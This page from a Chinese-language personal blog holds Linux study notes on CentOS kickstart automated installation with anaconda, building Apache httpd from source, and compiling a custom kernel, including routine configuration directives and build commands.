<p><a href="http://www.redhat.com/docs" target="_blank" rel="noopener">www.redhat.com/docs</a> 《installation guide》</p>
<h2 id="CentOS系统安装："><a href="#CentOS系统安装：" class="headerlink" title="CentOS系统安装："></a>CentOS系统安装：</h2><pre><code>ks：指明kickstart文件的位置
ks=
    DVD driver：ks=cdrom:PATH/TO/KICKSTART_FILE
    Hard_Driver:ks=hd:/DEVICE/PATH/TO/KICKSTART_FILE
    HTTP Server  ks=http://HOST[:PORT]/PATH/TO/KICKSTART_FILE
    FTP Server ks=ftp://HOST[:PORT]/PATH/TO/KICKSTART_FILE
    HTTPS Server: ks=https://HOST[:PORT]/PATH/TO/KICKSTART_FILE

kickstart文件的格式
    命令段  指定各种安装前配置选项，如键盘类型等；
        必备命令
        可选命令

    程序包段    
        指明要安装的程序包，以及包组，也包括不安装的程序包；
        %packages 表示程序包段开始，中间的都表示程序包
        @group_name 安装包组
        package 安装
        -package    不安装
        %end        结束

    脚本段
        %pre 安装前脚本
            运行环境：运行安装介质上的微型linux系统环境
        %post 安装后脚本
            运行环境：安装完成的系统</code></pre><h3 id="命令端中的选项"><a href="#命令端中的选项" class="headerlink" title="命令端中的选项"></a>命令端中的选项</h3><p>auth | authconfig   认证方式配置<br><code>auth --enableshadow --passalgo=sha512</code><br>bootloader  定义bootloader的安装位置及相关配置<br><code>bootloader --append=&quot; crashkernel=auto&quot; --location=mbr --boot-drive=sda</code><br>Keyboard layouts    设置键盘类型<br><code>keyboard --vckeymap=us --xlayouts=&#39;us&#39;</code><br>System language 语言类型<br><code>lang en_US.UTF-8</code><br>part    分区布局</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">   </span><br><span class="line"># Disk partitioning information</span><br><span class="line">part &#x2F;boot --fstype&#x3D;&quot;xfs&quot; --ondisk&#x3D;sda --size&#x3D;1024</span><br><span class="line">part &#x2F; --fstype&#x3D;&quot;xfs&quot; --ondisk&#x3D;sda --size&#x3D;17404</span><br><span class="line">part swap --fstype&#x3D;&quot;swap&quot; --ondisk&#x3D;sda --size&#x3D;204</span><br></pre></td></tr></table></figure>
<p> Partition clearing information 清空磁盘分区<br>    clearpart –none –initlabel</p>
<p>volgroup：创建卷组<br>logvol：</p>
<p>Root password       设置密码：<br>rootpw –iscrypted $6$TWt34GTGFsaxobTC$cR4TOgqr/2uf7RDAPFlPT6QgPbhoMZVNsKMAKpk3FduEsGB4F92Gx8Vivm.26QdEnnGlCUcbMWHQYqoA8QPnz.</p>
<p>使用openssl手动生成一个：$ openssl passwd -1 -salt <code>openssl rand -hex 4</code></p>
<p>System timezone 时区<br>timezone Asia/Shanghai –isUtc –nontp</p>
<h3 id="可选命令："><a href="#可选命令：" class="headerlink" title="可选命令："></a>可选命令：</h3><p>install OR upgrade ：安装或升级<br>text ：安装界面类型 text为tui ，默认为GUI<br>network ：配置网络接口<br>    network –onboot=yes –device eth0 –bootproto dhcp –noipv6<br>firewall： 防火墙<br>    firewall –disable<br>selinux ：SELinux<br>    selinux –disable</p>
<p>系统安装之后禁用防火墙：<br>    CentOS6：<br>        service iptables off<br>        chkconfig iptables off<br>    CentOS7：<br>        systemctl stop firewalld<br>        systemctl disable firewalls</p>
<p>系统安装之后禁用selinux<br>    /etc/sysconfig/selinux 修改SELINUX的值为下面2.3项即可<br>        enforcing<br>        permissive<br>        disable<br>    getenforce  获取状态<br>    setenforce 0 设置关闭，立即生效<br>编辑/etx/sysconfig/selinux 或者 /etc/selinux/config</p>
<p>halt、poweroff 或者reboot 安装完成之后的行为：<br>repo：指定安装时使用的repository：<br>    repo –name=”CentOS” –baseurl=cdrom:sr0 –cost=100<br>url:指明安装时使用的repository，但为url格式：<br>url –url=<a href="http://xxxx" target="_blank" rel="noopener">http://xxxx</a><br>必须定义好网络，能够访问才行；</p>
<p>其他可参考官方文档：《Installation Guide》</p>
<h3 id="如何编辑anaconda-ks-cfg文件"><a href="#如何编辑anaconda-ks-cfg文件" class="headerlink" title="如何编辑anaconda-ks.cfg文件"></a>如何编辑anaconda-ks.cfg文件</h3><p>yum install system-config-kickstart包</p>
<p>ESC<br>linux ip=xxx.xxx.xxx.xxx netmask=255.255.255.xxx ks=<a href="http://PATH/to/file" target="_blank" rel="noopener">http://PATH/to/file</a></p>
<p>把光盘的isolinux文件夹拷贝过来<br>把ks文件复制过来<br>放在光盘根目录或者isolinux文件夹下都可以<br>创建光盘镜像<br>mkisofs -R -J -T -v –no-emul-boot –boot-load-size 4 –boot-info-table -V “光盘名字” -c isolinux/boot.cat -b isolinux/isolinux.bin -o /root/boot.iso myboot/</p>
<p>网络启动<br>dhcp服务器<br>tftp服务器<br>网络仓库</p>
<p>自动化安装过程<br>DVD ： ks=cdrom：/PATH/TO/KS_FILE<br>HTTP: ks=<a href="http://HOST:PORT/PATH/TO/KS_FILE">http://HOST:PORT/PATH/TO/KS_FILE</a></p>

      
    </div>

    
    
    
      <footer class="post-footer">
        <div class="post-eof"></div>
      </footer>
  </article>
  
  
  

      
  
  
  <article itemscope itemtype="http://schema.org/Article" class="post-block" lang="zh-CN">
    <link itemprop="mainEntityOfPage" href="http://yoursite.com/2020/06/22/2-24%E7%BC%96%E8%AF%91%E5%AE%89%E8%A3%85/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="image" content="/images/avatar.gif">
      <meta itemprop="name" content="lcxiao">
      <meta itemprop="description" content="">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="Lcxiao's blog">
    </span>
      <header class="post-header">
        <h2 class="post-title" itemprop="name headline">
          
            <a href="/2020/06/22/2-24%E7%BC%96%E8%AF%91%E5%AE%89%E8%A3%85/" class="post-title-link" itemprop="url">2.24编译安装</a>
        </h2>

        <div class="post-meta">
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              <span class="post-meta-item-text">发表于</span>
              

              <time title="创建时间：2020-06-22 14:59:14 / 修改时间：22:59:34" itemprop="dateCreated datePublished" datetime="2020-06-22T14:59:14+08:00">2020-06-22</time>
            </span>

          

        </div>
      </header>

    
    
    
    <div class="post-body" itemprop="articleBody">

      
          <h2 id="源代码"><a href="#源代码" class="headerlink" title="源代码"></a>源代码</h2><ul>
<li>项目主页：<a href="http://httpd.apache.org/" target="_blank" rel="noopener">http://httpd.apache.org/</a></li>
<li>ARP主页：<a href="https://apr.apache.org/download.cgi" target="_blank" rel="noopener">https://apr.apache.org/download.cgi</a></li>
<li>2.24下载路径：<a href="https://mirrors.bfsu.edu.cn/apache//httpd/httpd-2.4.43.tar.bz2" target="_blank" rel="noopener">https://mirrors.bfsu.edu.cn/apache//httpd/httpd-2.4.43.tar.bz2</a></li>
<li>APR：<a href="https://mirrors.tuna.tsinghua.edu.cn/apache//apr/apr-1.7.0.tar.gz" target="_blank" rel="noopener">https://mirrors.tuna.tsinghua.edu.cn/apache//apr/apr-1.7.0.tar.gz</a></li>
<li>APR-util：<a href="https://mirrors.tuna.tsinghua.edu.cn/apache//apr/apr-util-1.6.1.tar.gz" target="_blank" rel="noopener">https://mirrors.tuna.tsinghua.edu.cn/apache//apr/apr-util-1.6.1.tar.gz</a></li>
<li>pcre：<a href="http://www.pcre.org/" target="_blank" rel="noopener">http://www.pcre.org/</a></li>
<li>pcre下载:<a href="ftp://ftp.pcre.org/pub/pcre/pcre-8.44.zip">ftp://ftp.pcre.org/pub/pcre/pcre-8.44.zip</a></li>
</ul>
<h2 id="编译依赖"><a href="#编译依赖" class="headerlink" title="编译依赖"></a>编译依赖</h2><p>pcre 编译安装<br>可能需要expat</p>
<p>将apr 和apr-util 放解压放入 httpd/srclib文件夹</p>
<h2 id="编译安装"><a href="#编译安装" class="headerlink" title="编译安装"></a>编译安装</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">$ .&#x2F;configure --prefix&#x3D;PREFIX</span><br><span class="line">$ make</span><br><span class="line">$ make install</span><br><span class="line">$ PREFIX&#x2F;bin&#x2F;apachectl start</span><br></pre></td></tr></table></figure>
<p>–sysconfdir=/etc/httpd<br>–enable-modules={ALL|MOST|…}<br>–enable-ssl<br>…</p>
<h2 id="设置变量"><a href="#设置变量" class="headerlink" title="设置变量"></a>设置变量</h2><p>vim /etc/profile.d/httpd.sh<br><code>PATH=$PATH:/usr/local/apache/bin:/usr/local/bin</code><br><code>export PATH</code></p>
<p>vim /etc/httpd/httpd.conf<br>ServerName localhost:80</p>

      
    </div>

    
    
    
      <footer class="post-footer">
        <div class="post-eof"></div>
      </footer>
  </article>
  
  
  

      
  
  
  <article itemscope itemtype="http://schema.org/Article" class="post-block" lang="zh-CN">
    <link itemprop="mainEntityOfPage" href="http://yoursite.com/2020/06/22/23-anaconda%E9%85%8D%E7%BD%AE%E5%AE%9A%E5%88%B6%E8%87%AA%E5%8A%A8%E5%8C%96%E5%AE%89%E8%A3%85Linux/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="image" content="/images/avatar.gif">
      <meta itemprop="name" content="lcxiao">
      <meta itemprop="description" content="">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="Lcxiao's blog">
    </span>
      <header class="post-header">
        <h2 class="post-title" itemprop="name headline">
          
            <a href="/2020/06/22/23-anaconda%E9%85%8D%E7%BD%AE%E5%AE%9A%E5%88%B6%E8%87%AA%E5%8A%A8%E5%8C%96%E5%AE%89%E8%A3%85Linux/" class="post-title-link" itemprop="url">23.anaconda配置定制自动化安装Linux</a>
        </h2>

        <div class="post-meta">
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              <span class="post-meta-item-text">发表于</span>
              

              <time title="创建时间：2020-06-22 14:58:07 / 修改时间：22:58:24" itemprop="dateCreated datePublished" datetime="2020-06-22T14:58:07+08:00">2020-06-22</time>
            </span>

          

        </div>
      </header>

    
    
    
    <div class="post-body" itemprop="articleBody">

      
          <p>安装操作系统的过程就是规划系统，把需要的功能和响应的文件放到合适的位置；<br>创建用户<br>init程序<br>可以自动化实现</p>
<p>CentOS系统安装：<br>bootloader–kernel（initrd（rootfs））–anaconda<br>安装程序：anaconda<br>必须先启动内核：<br>提供一个界面。首先，创建一个bootloader（安装在光盘或者U盘）<br>之后加载设备上某个路径的kernel（vmlinuz）<br>之后借助于initrd（rootfs）直接内存作为根文件系统；<br>之后启动anaconda程序（作为sbin/init）用户空间的第一个程序</p>
<p>anaconda两个界面<br>tui：基于cureses的文本配置窗口<br>gui：图形界面</p>
<p>CentOS的安装过程启动流程：<br>MBR：boot.cat<br>stage2：isolinux/isolinux.bin<br>    配置文件：isolinux/isolinux.cfg</p>
<p>每个对应的菜单选项：<br>    加载内核：isolinux/vmlinuz<br>    向内核传递参数：append initrd=initrd.img </p>
<p>获取根文件系统，并启动anaconda<br>    默认界面是图形界面；至少需要512MB内存，否则无法使用图形界面<br>    如果需要显示指定启动tui接口，向启动内核传递一个参数“text”即可；</p>
<pre><code>ESC：
boot：linux text</code></pre><p>注意：上述内容一般位于引导设备（光盘或者U盘）或者是网络上；<br>anaconda启动之后剩余的过程，后续的anaconda及其安装用到的程序包等；<br>可以来自于程序包仓库，此仓库的位置可以为：</p>
<ul>
<li>本地光盘</li>
<li>本地硬盘</li>
<li>ftp服务器</li>
<li>http服务器</li>
<li>nfs服务器</li>
</ul>
<p>如要手动指明安装仓库：则按ESC键<br>    boot：linux method（询问用户，让用户选择安装方法）</p>
<p>anaconda的工作过程：<br>安装前配置阶段<br>    安装过程使用的语言<br>    键盘类型<br>    安装目标存储设备<br>        Basic Storage：本地磁盘<br>        Special Storage：iscsi<br>    设定主机名<br>    配置网络接口<br>    时区<br>    管理员密码<br>    设定分区方式及MBR的安装位置；<br>    创建一个普通用户；<br>安装阶段<br>    在目标磁盘创建分区并执行格式化<br>    将选定的程序包安装至指定位置<br>    安装bootloader<br>首次启动<br>    iptables<br>    selinux<br>    core dump（核心转储，崩溃时，把内存数据备份下来）（可做分析用）（内存小于2G无法开启）</p>
<p>anaconda配置方式<br>    1. 交互式配置方式<br>    2. 支持通过读取配置文件中实现定义好的配置项自动完成配置；遵循特定的语法格式，此文件即为kickstart文件；</p>
<p>此文件可以放在本地文件服务器上；</p>
<p>安装引导选项：<br>text：文本安装方式<br>method：手动指定使用的安装方法<br>与网路相关的引导选项：<br>    ip=IPADDR<br>    netmask=NETMASK<br>    gateway=GW<br>    dns=DNS_SERVER_IP<br>远程访问功能相关的引导选项：<br>    VNC<br>    vncpasswd=’password’<br>启动紧急救援模式：<br>    rescue<br>装载额外驱动：<br>    dd</p>
<p><a href="http://www.redhat.com/docs" target="_blank" rel="noopener">www.redhat.com/docs</a> &lt;<installation guide>&gt;</p>

      
    </div>

    
    
    
      <footer class="post-footer">
        <div class="post-eof"></div>
      </footer>
  </article>
  
  
  

      
  
  
  <article itemscope itemtype="http://schema.org/Article" class="post-block" lang="zh-CN">
    <link itemprop="mainEntityOfPage" href="http://yoursite.com/2020/06/22/22-Linux%E5%86%85%E6%A0%B8%E6%A8%A1%E5%9D%97%E5%8A%9F%E8%83%BD%E5%AE%9A%E5%88%B6/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="image" content="/images/avatar.gif">
      <meta itemprop="name" content="lcxiao">
      <meta itemprop="description" content="">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="Lcxiao's blog">
    </span>
      <header class="post-header">
        <h2 class="post-title" itemprop="name headline">
          
            <a href="/2020/06/22/22-Linux%E5%86%85%E6%A0%B8%E6%A8%A1%E5%9D%97%E5%8A%9F%E8%83%BD%E5%AE%9A%E5%88%B6/" class="post-title-link" itemprop="url">22.Linux内核模块功能定制</a>
        </h2>

        <div class="post-meta">
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              <span class="post-meta-item-text">发表于</span>
              

              <time title="创建时间：2020-06-22 14:57:32 / 修改时间：22:57:55" itemprop="dateCreated datePublished" datetime="2020-06-22T14:57:32+08:00">2020-06-22</time>
            </span>

          

        </div>
      </header>

    
    
    
    <div class="post-body" itemprop="articleBody">

      
          <h1 id="Linux内核模块功能定制"><a href="#Linux内核模块功能定制" class="headerlink" title="Linux内核模块功能定制"></a>Linux内核模块功能定制</h1><h2 id="编译内核："><a href="#编译内核：" class="headerlink" title="编译内核："></a>编译内核：</h2><p>程序包的编译安装：<br>./configure ,make ,make install<br>配置参数，make是项目构建工具，调用各种编译工具完成构建，<br>二进制文件，库文件，配置文件，帮助文件，make install 完成复制</p>
<p>编译前提：开发环境<br>开发工具（gcc）、开发库（API）库和头文件/usr/include/</p>
<p>开源：源代码–可执行格式<br>发行版：以通用为目标；主包:支包 选择性安装功能<br>实在需要发行版没有编译进的功能的话，只有自己编译了</p>
<h2 id="准备工作："><a href="#准备工作：" class="headerlink" title="准备工作："></a>准备工作：</h2><ul>
<li>开发环境；</li>
<li>目标主机硬件设备的相关信息；</li>
<li>获取目标主机系统功能的相关信息，要启用的文件系统；</li>
<li>获取内核代码：<a href="http://www.kernel.org" target="_blank" rel="noopener">www.kernel.org</a></li>
</ul>
<p>CentOS6,7：<br>    Development Tools<br>    Server Platform Development</p>
<p>确保安装的包组里面有ncurses包</p>
<p>获取目标主机上硬件的信息<br>CPU:<br>    cat /proc/cpuinfo<br>    lscpu<br>    x86info -a(包x86info)<br>PCI:<br>    lspci<br>    -v<br>    -vv</p>
<p>USB:<br>    lsusb<br>    -v<br>    -vv</p>
<p>lsblk</p>
<p>全部硬件设备信息：<br>    hal-device<br>    lshw</p>
<h2 id="编译过程"><a href="#编译过程" class="headerlink" title="编译过程"></a>编译过程</h2><pre><code>解压内核文件到/usr/src
tar xvf kernel.tar.gz -C /usr/src
ln -sv linux-x.x.x linux
cd linux
make menuconfig         #编译内核选项
make -j CPU核心数
make modules_install    #安装内核模块
make install            #安装内核</code></pre><p>make –help</p>
<h2 id="screen"><a href="#screen" class="headerlink" title="screen:"></a>screen:</h2><pre><code>打开新的screen窗口：screen
命名新窗口：screen -S TITLE_NAME
拆除screen： ctrl+a，d
列出screen：screen -ls
连接至screen：screen -r SCREEN_ID
关闭screen：在screen内部exit</code></pre><p>screen不会因为ssh的连接断开而中断任务</p>
<h3 id="模板文件"><a href="#模板文件" class="headerlink" title="模板文件"></a>模板文件</h3><p>复制/boot目录下的配置文件作为模板，之后修改这个文件</p>
<p>内核配置模板文件：<br>有些发行版在/boot目录下有配置文件模板<br>有的在/proc/config.gz</p>
<h2 id="（1）配置内核选项"><a href="#（1）配置内核选项" class="headerlink" title="（1）配置内核选项"></a>（1）配置内核选项</h2><h3 id="详细说明："><a href="#详细说明：" class="headerlink" title="详细说明："></a>详细说明：</h3><p>配置选项：</p>
<ul>
<li>make config ：基于命令行以遍历的方式去配置内核中可配置的每个选项；</li>
<li>make menuconfig ：基于ncurses 方式的配置窗口</li>
<li>make gconfig ：基于gtk开发环境的窗口界面界面；桌面平台开发包组</li>
<li>make xconfig : 基于QT开发环境的窗口界面</li>
</ul>
<p>支持“全新配置”模式进行配置</p>
<ul>
<li>make defconfig ：基于内核为目标平台提供的“默认”为模板进行配置；</li>
<li>make allnoconfig：所有选项为no；基于此选项来定制</li>
</ul>
<h3 id="编译："><a href="#编译：" class="headerlink" title="编译："></a>编译：</h3><ul>
<li>make -j # 多线程编译（提高编译速度）</li>
<li>编译内核中的部分功能<ul>
<li>只编译某子目录中的代码–切换到源码树（cd /usr/src/linux）(make path/to/dir)</li>
<li>只编译一个特定的模块–切换到源码树（编译某个模块的源码,例如xxx.c）(make xxx.ko)（编译完成之后记得要自行复制到相对应的目录中去）(驱动就是/lib/modules/xxxx/driver/)</li>
<li>交叉编译：目标平台与编译操作不同平台<ul>
<li>make ARCH=arch_name</li>
<li>帮助信息：make ARCH=arm help 获取目标平台帮助信息</li>
</ul>
</li>
</ul>
</li>
</ul>
<h3 id="如何在执行编译操作的内核源码树上做重新编译："><a href="#如何在执行编译操作的内核源码树上做重新编译：" class="headerlink" title="如何在执行编译操作的内核源码树上做重新编译："></a>如何在执行编译操作的内核源码树上做重新编译：</h3><ul>
<li>make clean    ：清理编译生成的绝大多数文件，但会保留config文件，以及编译外部模块所需要的文件；</li>
<li>make mrproper ：清理编译生成的所有文件，包括配置生成的config文件以及某些备份文件</li>
<li>make distclean    ：相当于mrproper ，额外清理各种patches以及编辑器备份文件；</li>
</ul>

      
    </div>

    
    
    
      <footer class="post-footer">
        <div class="post-eof"></div>
      </footer>
  </article>
  
  
  


  
  <nav class="pagination">
    <span class="page-number current">1</span><a class="page-number" href="/page/2/">2</a><span class="space">&hellip;</span><a class="page-number" href="/page/4/">4</a><a class="extend next" rel="next" href="/page/2/"><i class="fa fa-angle-right" aria-label="下一页"></i></a>
  </nav>



          </div>
          

<script>
  window.addEventListener('tabs:register', () => {
    let { activeClass } = CONFIG.comments;
    if (CONFIG.comments.storage) {
      activeClass = localStorage.getItem('comments_active') || activeClass;
    }
    if (activeClass) {
      let activeTab = document.querySelector(`a[href="#comment-${activeClass}"]`);
      if (activeTab) {
        activeTab.click();
      }
    }
  });
  if (CONFIG.comments.storage) {
    window.addEventListener('tabs:click', event => {
      if (!event.target.matches('.tabs-comment .tab-content .tab-pane')) return;
      let commentClass = event.target.classList[1];
      localStorage.setItem('comments_active', commentClass);
    });
  }
</script>

        </div>
          
  
  <div class="toggle sidebar-toggle">
    <span class="toggle-line toggle-line-first"></span>
    <span class="toggle-line toggle-line-middle"></span>
    <span class="toggle-line toggle-line-last"></span>
  </div>

  <aside class="sidebar">
    <div class="sidebar-inner">

      <ul class="sidebar-nav motion-element">
        <li class="sidebar-nav-toc">
          文章目录
        </li>
        <li class="sidebar-nav-overview">
          站点概览
        </li>
      </ul>

      <!--noindex-->
      <div class="post-toc-wrap sidebar-panel">
      </div>
      <!--/noindex-->

      <div class="site-overview-wrap sidebar-panel">
        <div class="site-author motion-element" itemprop="author" itemscope itemtype="http://schema.org/Person">
  <p class="site-author-name" itemprop="name">lcxiao</p>
  <div class="site-description" itemprop="description"></div>
</div>
<div class="site-state-wrap motion-element">
  <nav class="site-state">
      <div class="site-state-item site-state-posts">
          <a href="/archives/">
        
          <span class="site-state-item-count">38</span>
          <span class="site-state-item-name">日志</span>
        </a>
      </div>
      <div class="site-state-item site-state-categories">
        <span class="site-state-item-count">1</span>
        <span class="site-state-item-name">分类</span>
      </div>
      <div class="site-state-item site-state-tags">
            <a href="/tags/">
          
        <span class="site-state-item-count">9</span>
        <span class="site-state-item-name">标签</span></a>
      </div>
  </nav>
</div>


  <div class="links-of-blogroll motion-element">
    <div class="links-of-blogroll-title">
      <i class="fa fa-fw fa-link"></i>
      Links
    </div>
    <ul class="links-of-blogroll-list">
        <li class="links-of-blogroll-item">
          <a href="http://163.com/" title="http:&#x2F;&#x2F;163.com" rel="noopener" target="_blank">163</a>
        </li>
        <li class="links-of-blogroll-item">
          <a href="http://baidu.com/" title="http:&#x2F;&#x2F;baidu.com" rel="noopener" target="_blank">baidu</a>
        </li>
        <li class="links-of-blogroll-item">
          <a href="/dalipan.com" title="dalipan.com">dalipan</a>
        </li>
        <li class="links-of-blogroll-item">
          <a href="https://google.com/" title="https:&#x2F;&#x2F;google.com" rel="noopener" target="_blank">Google</a>
        </li>
    </ul>
  </div>

      </div>

    </div>
  </aside>
  <div id="sidebar-dimmer"></div>


      </div>
    </main>

    <footer class="footer">
      <div class="footer-inner">
        

        

<div class="copyright">
  
  &copy; 
  <span itemprop="copyrightYear">2020</span>
  <span class="with-love">
    <i class="fa fa-user"></i>
  </span>
  <span class="author" itemprop="copyrightHolder">lcxiao</span>
</div>

        








      </div>
    </footer>
  </div>

  
  <script src="/lib/anime.min.js"></script>
  <script src="/lib/velocity/velocity.min.js"></script>
  <script src="/lib/velocity/velocity.ui.min.js"></script>

<script src="/js/utils.js"></script>

<script src="/js/motion.js"></script>


<script src="/js/schemes/pisces.js"></script>


<script src="/js/next-boot.js"></script>




  















  

  

<script src="/live2dw/lib/L2Dwidget.min.js?094cbace49a39548bed64abff5988b05"></script><script>L2Dwidget.init({"log":false,"pluginJsPath":"lib/","pluginModelPath":"assets/","pluginRootPath":"live2dw/","tagMode":false});</script></body>
</html>
